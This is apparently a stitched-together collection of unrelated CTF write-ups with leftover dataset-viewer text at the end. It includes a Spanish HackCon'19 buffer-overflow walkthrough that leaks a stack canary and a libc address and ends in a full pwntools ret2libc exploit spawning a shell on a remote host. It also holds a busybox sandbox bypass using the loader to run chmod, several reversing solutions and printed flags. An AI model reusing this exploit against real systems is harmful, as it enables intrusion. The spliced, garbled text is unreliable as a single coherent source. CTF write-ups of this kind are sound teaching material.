# Not So Easy B0f (HackCon'19)## Descripción```I have stack canaries enabled, Can you still B0f me ? Service : nc 68.183.158.95 8991```## SoluciónAdemás del enunciado se incluyen un **binario** y una **biblioteca: q3 y libc.so.6**```bash$ file q3q3: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3cd41764dce3415f6d1f0c5d5e27edb759d0798e, not stripped$ checksec q3[*] '/root/Documents/Personal/CTF/HackCon19/Not_So_Easy_B0f/q3' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled$ ./q3 Enter name : AAAAHelloAAAAEnter sentence : AAAA$ md5sum * | grep `md5sum /tmp/libc.so.6 | awk '{print $1}'`8c0d248ea33e6ef17b759fa5d81dda9e libc6_2.23-0ubuntu11_amd64.so```En este caso nos enfrentamos a un binario con **canario, NX y PIE.** Y la libc corresponde con la de un [Ubuntu Xenial](https://ubuntu.pkgs.org/16.04/ubuntu-updates-main-amd64/libc6_2.23-0ubuntu11_amd64.deb.html) así que utilice un vps de dicho sistema operativo.
Lo abrimos con IDA y obtenemos el siguiente código fuente:Tras abrir el binario (**q3**) con IDA y "limpiar" un poco el **pseudo-c** obtenemos la siguiente función main que nos ayudará a entender cómo vulnerar este programa:```cint main(int argc, const char **argv){ char s[8];
printf("Enter name : "); fgets(s, 16, stdin); puts("Hello"); printf(s, 16); printf("Enter sentence : "); fgets(s, 256, stdin); return 0;}```* Tras el **fgets** se comprueba el canario:``` 0x0000081a 488b4df8 mov rcx, qword [canary] 0x0000081e 6448330c2528. xor rcx, qword fs:[0x28] 0x00000827 7405 je 0x82e 0x00000829 e802feffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)```A simple vista vemos un **format string** en la linea `printf(s, 16);` y un **buffer overflow** en `fgets(s, 256, stdin);` veamos si podemos leakear el canario y el offset de la libc ya que el **ASLR** está activado.
Como el **fgets** solo recoge 16 caracteres así que vamos a user un **fuzzer**:
```python#!/usr/bin/env pythonfrom pwn import *
e = ELF("./q3")
for i in range(20): io = e.process(level="error") io.sendline("AAAA %%%d$lx" % i) io.recvline() print("%d - %s" % (i, io.recvline().strip())) io.close()```
Out:```0 - AAAA %0$lx 1 - AAAA 56029be1e010 2 - AAAA 7f84ddb19780 3 - AAAA 7f902807d2c0 4 - AAAA 7f1b8aed0700 5 - AAAA 0 6 - AAAA 7ffc5d103eae 7 - AAAA 7f0219f288e0 8 - AAAA 2438252041414141 9 - AAAA a786c 10 - AAAA 7ffc1bb38f60 11 - AAAA 36ddf28abc7d1800 12 - AAAA 55b9f155e830 13 - AAAA 7fd65f6e6830 14 - AAAA 1 15 - AAAA 7fff71b19528 16 - AAAA 1e357fca0 17 - AAAA 55e8ca16477a 18 - AAAA 0 19 - AAAA 288a7d584b85d47e```
En la octava salida vemos las 4 As que hemos introducido **(0x41414141)** luego podremos ser capaces de **'sobreescribir'** direcciones de memoria, las salidas que empizan por **0x7f** corresponden con direcciones de memoria de la libc luego podremos leakear para calcular el offset **(ASLR)** y las salidas 11 y 19 parecen ser el **canary**.
Sabiendo esto, podemos trazar el plan:1. Leakear una dirección de la libc y comprobar el offset.2. Descubrir si la salida 11 o 19 corresponden con el canary.
## LIBC LEAKUsando gdb vamos a leakear una dirección de la libc **(%2$lx)** y buscar el offset de dicha salida:
```gdbgdb-peda$ r Starting program: /root/q3 Enter name : %2$lx Hello 7ffff7dd3780 Enter sentence : ^C Program received signal SIGINT, Interrupt.gdb-peda$ vmmapStart End Perm Name[...]0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so[...]gdb-peda$ p/x 0x07ffff7dd3780 - 0x07ffff7a0d000$3 = 0x3c6780```
Ejecutamos el programa introduciendo **%2$lx** y obtenemos la dirección de memoria: **0x07ffff7dd3780**, ahora miramos con **vmmap** el comienzo de la **libc: 0x07ffff7a0d000**.
Calculando la diferencia entre ambas direcciones obtendremos el offset de la segunda dirección que leakeamos y así podremos calcular en tiempo de ejecución la dirección de la libc bypasseando el **ASLR**: `0x07ffff7dd3780 - 0x07ffff7a0d000 = 0x3c6780`.
## CANARYPara calcular si el canario corresponde con la salida 11 o 19 del **format string** podemos usar **gdb** de nuevo. Basta con introducir **%11$lx y %19$lx** y comprobar, con un breakpoint, el valor del canario. Si coincide con alguno de los dos, ya podremos leakear facilmente el canario.### Salida 11```gdbgdb-peda$ b * 0x55555555481eBreakpoint 1 at 0x55555555481egdb-peda$ rStarting program: /root/q3 Enter name : %11$lxHello89e2b68ae1c23f00Enter sentence : A
Breakpoint 1, 0x000055555555481e in main ()gdb-peda$ p $rcx $2 = 0x89e2b68ae1c23f00```
### Salida 19
```gdbgdb-peda$ b * 0x55555555481eBreakpoint 1 at 0x55555555481egdb-peda$ rStarting program: /root/q3 Enter name : %19$lxHelloe68e481756df87b0Enter sentence : A
Breakpoint 1, 0x000055555555481e in main ()gdb-peda$ p $rcx$1 = 0xe83180cc88975d00```
Como veis, con la salida 11 leakeamos el valor del canario.
### Bypass CanaryAhora vamos a ver el relleno hasta llegar al canario para poder escribir el valor correcto.```gdbgdb-peda$ pattern_create 64'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'gdb-peda$ r Starting program: /root/q3 Enter name : A Hello A Enter sentence : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHgdb-peda$ p $rcx$4 = 0x413b414144414128gdb-peda$ pattern offset 0x413b4141444141284700422384665051432 found at offset: 24```El offset es **24 bytes.**
### Calcular rellenoAhora solo queda calcular el relleno entre el canario y la direccion de retorno. Para ello basta con abrir gdb, establecer un breakpoint en la misma instruccion que antes (**0x000055555555481e**), introduccir `%11$lx` y `"A"*24 + "B"*8 + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A"` y una vez en el breakpoint modificar el valor del **RCX** con el del canario.
```gdbgdb-peda$ r Starting program: /root/q3 Enter name : %11$lx Hello 6cf965dc5ce99a00 Enter sentence : AAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0ABreakpoint 1, 0x000055555555481e in main ()gdb-peda$ set $rcx=0x6cf965dc5ce99a00gdb-peda$ cContinuing.
Program received signal SIGSEGV, Segmentation fault.gdb-peda$ x/wx $rsp0x7fffffffe5d8: 0x33614132
$ msf-pattern_offset -q 0x33614132[*] Exact match at offset 8```
Obtenemos un offset de **8 bytes**.Ahora podemos fácilmente crear un exploit:
```python#!/usr/bin/env pythonfrom pwn import *
e = ELF('q3')libc = ELF('libc.so.6', checksec=False)
io = remote('68.183.158.95', 8991)
io.sendline('%2$lx-%11$lx')io.recvline()leak = io.recvline()libc.address = int(leak.strip().split('-')[0], 16) - 0x3c6780canary = int(leak.strip().split('-')[1], 16)
log.info("Libc: %s" % hex(libc.address))log.info("Canary: %s" % hex(canary))
payload = flat( "A"*24, canary, "A"*8, libc.address + 0x0000000000021102, # pop rdi; ret next(libc.search('/bin/sh')), libc.sym['system'], endianness = 'little', word_size = 64, sign = False)
io.recv()io.sendline(payload)io.interactive()``` |
(can't find in other writeups solution for second flag that i present here)
Your Choice!
Having found the information you were looking for, while detailed, it presents you with an interesting dilemma. There is a network of "computers" not completely dissimilar to your computrator-machine on your ship. You find yourself in possession of the credentials of an individual on the planet named "SarahH." Great, with these you can get right into the secret world of an earthling without them knowing you're there. You access "SarahH home network," to find two computers: "work" and "home." Not knowing what either of these are, you have to make a decision.
No decisions, no compromises - we will hack both. Or else why we are sitting with laptop at home in such a great summer weekend?
Work Computer (ORME) (**sandbox**)
With the confidence of conviction and decision making skills that made you a contender for Xenon's Universal takeover council, now disbanded, you forge ahead to the work computer. This machine announces itself to you, surprisingly with a detailed description of all its hardware and peripherals. Your first thought is "Why does the display stand need to announce its price? And exactly how much does 999 dollars convert to in Xenonivian Bucklets?" You always were one for the trivialities of things. Also presented is an image of a fascinating round and bumpy creature, labeled "Cauliflower for cWo" - are "Cauliflowers" earthlings? Your 40 hearts skip a beat - these are not the strange unrelatable bipeds you imagined earthings to be.. this looks like your neighbors back home. Such curdley lobes. Will it be at the party? SarahH, who appears to be a programmer with several clients, has left open a terminal. Oops. Sorry clients! Aliens will be poking around attempting to access your networks.. looking for Cauliflower. That is, *if* they can learn to navigate such things.
Some network address is given, let's try to connect to it.
$ nc readme.ctfcompetition.com 1337 > whoami whoami: unknown uid 1338 > ls -l total 8 ---------- 1 1338 1338 33 Jun 25 19:21 ORME.flag -r-------- 1 1338 1338 28 Jun 25 19:21 README.flag > cat README.flag error: No such file or directory
Well, we have a shell, we have two files that must be read, but we have no `cat` (and `grep` etc.). We plan to read both, of course.Let's have a look what we have then.
> ls -l /bin /sbin /usr/bin /usr/sbin /bin: total 800 lrwxrwxrwx 1 65534 65534 12 May 9 20:49 arch -> /bin/busybox -rwxr-xr-x 1 65534 65534 796240 Jan 24 07:45 busybox lrwxrwxrwx 1 65534 65534 12 May 9 20:49 chgrp -> /bin/busybox lrwxrwxrwx 1 65534 65534 12 May 9 20:49 chown -> /bin/busybox lrwxrwxrwx 1 65534 65534 12 May 9 20:49 conspy -> /bin/busybox .............. /sbin: total 228 lrwxrwxrwx 1 65534 65534 12 May 9 20:49 acpid -> /bin/busybox lrwxrwxrwx 1 65534 65534 12 May 9 20:49 adjtimex -> /bin/busybox .............. /usr/bin: total 1984 lrwxrwxrwx 1 65534 65534 12 May 9 20:49 [ -> /bin/busybox lrwxrwxrwx 1 65534 65534 12 May 9 20:49 [[ -> /bin/busybox .............. -rwxr-xr-x 1 65534 65534 25216 Mar 19 09:56 iconv .............. -rwxr-xr-x 1 65534 65534 83744 Nov 15 2018 scanelf .............. /usr/sbin: total 16 lrwxrwxrwx 1 65534 65534 12 May 9 20:49 addgroup -> /bin/busybox lrwxrwxrwx 1 65534 65534 12 May 9 20:49 adduser -> /bin/busybox .............. >
Wow, a lot of stuff! First of all, this is Busybox system. It means that most of utilities are embedded in `busybox` executable and almost all other are just symlinks to it. Busybox first checks `argv[0]` value and executes appropriate piece of code. But also certain utility can be invoked by executing `busybox` directly and giving it proper arguments.Try it:
> busybox cat README.flag busybox can not be called for alien reasons.
Aha, this is modified version of busybox. After all, it would be too easy.But still there are tons of stuff. And a lot of possible solutions. If we have little or no expirience with unix-like environments, then we can just go through the list command-by-command and read each man-page on the web. Quickly we can find, for example, that `iconv` utility can be used to read any file and print it to the terminal possibly but not necessary with codepage conversion. Give it a try:
> iconv README.flag CTF{4ll_D474_5h4ll_B3_Fr33} > iconv ORME.flag iconv: ORME.flag: Permission denied
First flag is ours:
**CTF{4ll_D474_5h4ll_B3_Fr33}**
For the second one we need to find a way to change it's permission flags. Fortunately we are the owner of this file and are capable to change it's permissions. Unfortunately, `chmod` utility is abscent.It is obvious, that `chmod` symlink is removed, but code of it is still contained in `busybox`. And maybe in some other places. Check it:
> scanelf -s chmod -R / TYPE SYM FILE ET_DYN chmod /lib/libcrypto.so.1.1 ET_DYN chmod /lib/ld-musl-x86_64.so.1 ET_DYN chmod /usr/bin/upx ET_DYN chmod /bin/busybox
Yep, it is there. And `upx` utility looks very suspicious and certainly can be used to solve issue. But let's do some googling first, it is their contest after all!Googling "*change permissions without chmod*" immediately leads us to the StackOverflow page with description of trick with loader `/lib/ld-linux.so`. Just use it to run `busybox` and `chmod` in it:
> ls /lib apk firmware ld-musl-x86_64.so.1 libc.musl-x86_64.so.1 libcrypto.so.1.1 libssl.so.1.1 libz.so.1 libz.so.1.2.11 mdev > /lib/ld-musl-x86_64.so.1 /bin/busybox chmod +r ORME.flag > ls -l total 8 -r--r--r-- 1 1338 1338 33 Jun 25 19:51 ORME.flag -r-------- 1 1338 1338 28 Jun 25 19:51 README.flag > iconv ORME.flag CTF{Th3r3_1s_4lw4y5_4N07h3r_W4y}
**CTF{Th3r3_1s_4lw4y5_4N07h3r_W4y}** |
# SuperEncryptor
With some clever inputs, the challenge can easily be solved without analyzing the binary. When we feed `\x00`s, we get the following output:
```echo '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | ./q3 _ _ __ __ _ _ __ _____ __ | \ | | | \/ (_) | \ \ / / _ \/_ || \| | __ _ _ __ ___ | \ / |_| |_ ___ ___ \ \ / / | | || || . ` |/ _` | '_ \ / _ \| |\/| | | __/ _ \/ __| \ \/ /| | | || || |\ | (_| | | | | (_) | | | | | || __/\__ \ \ / | |_| || ||_| \_|\__,_|_| |_|\___/|_| |_|_|\__\___||___/ \/ \___(_)_| String to encrypt (Max 5000) : Encrypted : abcdef4123310abcdef4123310ab```
First thought that came to my mind was that it was an XOR operation with the key `abcdef4123310`. When I XORed this key with the content of flag.enc, I got:
`rkd4y_{MgFS3lt4uArs_Ju3_5}mpdec0`
which looks like the shuffled version of the flag. Swapped two sides inside each 4-byte block, and got the flag:
`d4rk{My_S3gF4ults_Ar3_Jump5}c0de` |
I use **IDA tools** with **Remote Linux Debuger** for this chal. For easier i will call our input string is **OurStr**. Deal with it? *********************************I dropped ELF file to IDA to disassemble it. Look at label **loc_40079F**, we can see a **strlen** function for input string length checking. After call it, they compare result to 27h. Thus our string must have 27h character.Next we have :***they take first 6 six characters of OurStr compare with string "TWCTF{" and last char with "}"(7Dh). Easily, we have flag format TWCTF{"something..."}Now we must find 32 characters remaining. In my opiion, this is not warm up challenge :v.
As you see, this is graph overview ***It looks like terrible, but don't worry. if you debug carefully, everything will be easy.
_I think i should use source code for easier from now_.
We can see first check loop:***they use **strchr** for check how many character **0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f** we had in flag.Then compare with this:***Therefore we can know that flag is a hex string include:*****(val : amount)** 30h : 3, 31h : 2, 32h : 2, 33h : 0, 34h : 3, 35h : 2, 36h : 1, 37h : 3, 38h : 3, 39h : 1, 61h : 1, 62h : 3, 63h : 1, 64h : 2, 65h : 2, 66h : 3
***Next, we have two loops*********
These two loops simple calculate sum and xor of each four identified index. Then compare with given const valueThis is context of two loop:*****First Loop*******Sum of index** (6, 7, 8, 9 = 15Eh); (10, 11, 12, 13 = 0DAh);(14, 15, 16, 17 = 12Fh); (18, 19, 20, 21 = 131h); (22, 23, 24, 25 = 100h); (26, 27, 28, 29 = 131h); (30, 31, 32, 33 = 0FBh); (34, 35, 36, 37 = 102h);*****XOR of index** (6, 7, 8, 9 = 52h); (10, 11, 12, 13 = 0Ch); (14, 15, 16, 17 = 01h); (18, 19, 20, 21 = 0Fh); (22, 23, 24, 25 = 5Ch); (26, 27, 28, 29 = 05h); (30, 31, 32, 33 = 53h); (34, 35, 36, 37 = 58h);*****The Second Loop*******Sum of index** (6, 14, 22, 30 = 129h); (7, 15, 23, 31 = 103h); (8, 16, 24, 32 = 12Bh); (9, 17, 25, 33 = 131h); (10, 18, 26, 34 = 135h); (11, 19, 27, 35 = 10Bh); (12, 20, 28, 36 = 0FFh); (13, 21, 29, 37 = 0FFh);
**XOR of index** (6, 14, 22, 30 = 01h); (7, 15, 23, 31 = 57h); (8, 16, 24, 32 = 07h); (9, 17, 25, 33 = 0Dh); (10, 18, 26, 34 = 0Dh); (11, 19, 27, 35 = 53h); (12, 20, 28, 36 = 51h); (13, 21, 29, 37 = 51h);***Next, we have a checking loop:******This loop check whether current index was **char** or **int**.Thus i have true format of flag:**c : char** ;**i : integer*******TWCTF{cciciiiiciicciiciicicciiiiciiici}**
Next, we have finnal loop and a _if_ condition:***Loop will calculate sum of all even index from sixth index and compare with 0x488**If** condition give us 6 values of 6 indexs.After understood purpose of this program, i wrote a C++ program to solve it.I used a recursive to fill each character. it also combine with given condition to decrease complex of our program.
```C++#include <iostream>#include <stdio.h>#include <cstring>
using namespace std;
struct Root{ string context = "";}arr[32];
int cnt[500];int max_cnt[500];string s = "TWCTF{00011224445567778889abbbcddeefff}";
void FindResult(int i){ //recursive if(i == 38){ //check last index int sum = 0; for(int z = 6; z < 37; ++z){ sum += (int) s[z]; } cout << s << endl; }
string tmp = arr[i].context; //cout << tmp << endl; for(int j = 0; j < tmp.length(); ++j){ int x = tmp[j]; cnt[x]++; //cout << max_cnt[x] << endl; if(cnt[x] <= max_cnt[x]){ // check max s[i] = (char)x; //assign value for index //all of if condition base on all condition we have discussed if(i == 9){ int x1 = s[6], x2 = s[7], x3 = s[8], x4 = s[9]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0x15E && k == 0x52){ FindResult(i + 1); } } else if(i == 13){ int x1 = s[10], x2 = s[11], x3 = s[12], x4 = s[13]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0xDA && k == 0xC){ FindResult(i + 1); } } else if(i == 17){ int x1 = s[14], x2 = s[15], x3 = s[16], x4 = s[17]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0x12F && k == 0x01){ FindResult(i + 1); } } else if(i == 21){ int x1 = s[18], x2 = s[19], x3 = s[20], x4 = s[21]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0x131 && k == 0xF){ FindResult(i + 1); } } else if(i == 25){ int x1 = s[22], x2 = s[23], x3 = s[24], x4 = s[25]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0x100 && k == 0x5C){ FindResult(i + 1); } } else if(i == 29){ int x1 = s[26], x2 = s[27], x3 = s[28], x4 = s[29]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0x131 && k == 0x5){ FindResult(i + 1); } } else if(i == 30){ int x1 = s[6], x2 = s[14], x3 = s[22], x4 = s[30]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0x129 && k == 0x1){ FindResult(i + 1); } } else if(i == 31){ int x1 = s[7], x2 = s[15], x3 = s[23], x4 = s[31]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0x103 && k == 0x57){ FindResult(i + 1); } } else if(i == 32){ int x1 = s[8], x2 = s[16], x3 = s[24], x4 = s[32]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0x12B && k == 0x7){ FindResult(i + 1); } } else if(i == 33){ int x1 = s[30], x2 = s[31], x3 = s[32], x4 = s[33]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0xFB && k == 0x53){ x1 = s[9]; x2 = s[17]; x3 = s[25]; x4 = s[33]; k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0x131 && k == 0xD){ FindResult(i + 1); } }
} else if(i == 34){ int x1 = s[10], x2 = s[18], x3 = s[26], x4 = s[34]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0x135 && k == 0xD){ FindResult(i + 1); } } else if(i == 35){ int x1 = s[11], x2 = s[19], x3 = s[27], x4 = s[35]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0x10B && k == 0x53){ FindResult(i + 1); } } else if(i == 36){ int x1 = s[12], x2 = s[20], x3 = s[28], x4 = s[36]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0xFF && k == 0x51){ FindResult(i + 1); } } else if(i == 37){ int x1 = s[34], x2 = s[35], x3 = s[36], x4 = s[37]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0x102 && k == 0x58){ int x1 = s[13]; x2 = s[21]; x3 = s[29]; x4 = s[37]; int k = x1 ^ x2; k ^= x3; k ^= x4; if(x1 + x2 + x3 + x4 == 0xFF && k == 0x51){ FindResult(i + 1); } }
} else FindResult(i + 1); } cnt[x]--; }}
int main(){ memset(cnt, 0, sizeof cnt); int num[14] = {8, 10, 13, 16, 19, 20, 22, 25, 28, 29, 30, 33, 34, 35}; //all of indexs is integer int chara[11] = {6, 9, 14, 17, 18, 21, 24, 26, 27, 32, 36}; //all of indexs is char string str = "0123456789abcdef"; //all of character can be in flag int arr1[16] = {3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3}; // max of amount //initialize for each index arr[37].context = "5"; arr[7].context = "f"; arr[11].context = "8"; arr[12].context = "7"; arr[23].context = "2"; arr[31].context = "4"; arr[15].context = "7";
string chr = "abcdef"; string integ = "012456789"; for(int i = 0; i < 14; ++i){ arr[num[i]].context = integ; //all of value which index can be } for(int i = 0; i < 11; ++i){ arr[chara[i]].context = chr; //all of char which index can be } for(int i = 0; i < str.length(); ++i){ int x = str[i]; max_cnt[x] = arr1[i]; //max amount } FindResult(6);}
```And here we go. we got flag
|
First I cut the image into pieces each of which contained a single glyph and googled by image.After 10 minutes of searching I found that those symbols are from Proto-Sinaitic alphabet (https://en.wikipedia.org/wiki/Proto-Sinaitic_script). So it's easy to recover latin letters from them symbol by symbol. I also found a great picture:

Recovered text: ```alphabetevolution```
And the flag is: ```ALLES{alphabetevolution}```
|
# OpenMePloxxThe binary checks argv[1] for the correct password. Through analyzing main function, the checks are as follows:
* length of the password is `0x36 == 54`* first part of the password is `d4rk{`* last part of the password is `}c0de`* inside of the curly braces has three parts starting with `0x` and with length `0xe == 14` and seperated with `-`
Three parts inside the curly braces are obviously hex values. This is also verified by the string2hex conversion in the main function. The last check concerns the hex values:
*(shifts are circular)** `val1 >> 0xd == val2`* `val2 >> 0x1d == val3`* `val3 == 0x6ff76dfeb3f4`
constructing val2 and val1 using these rules, we get the flag:
`d4rk{0x537fbb6ff59f-0x567e9bfddb7f-0x6ff76dfeb3f4}c0de` |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.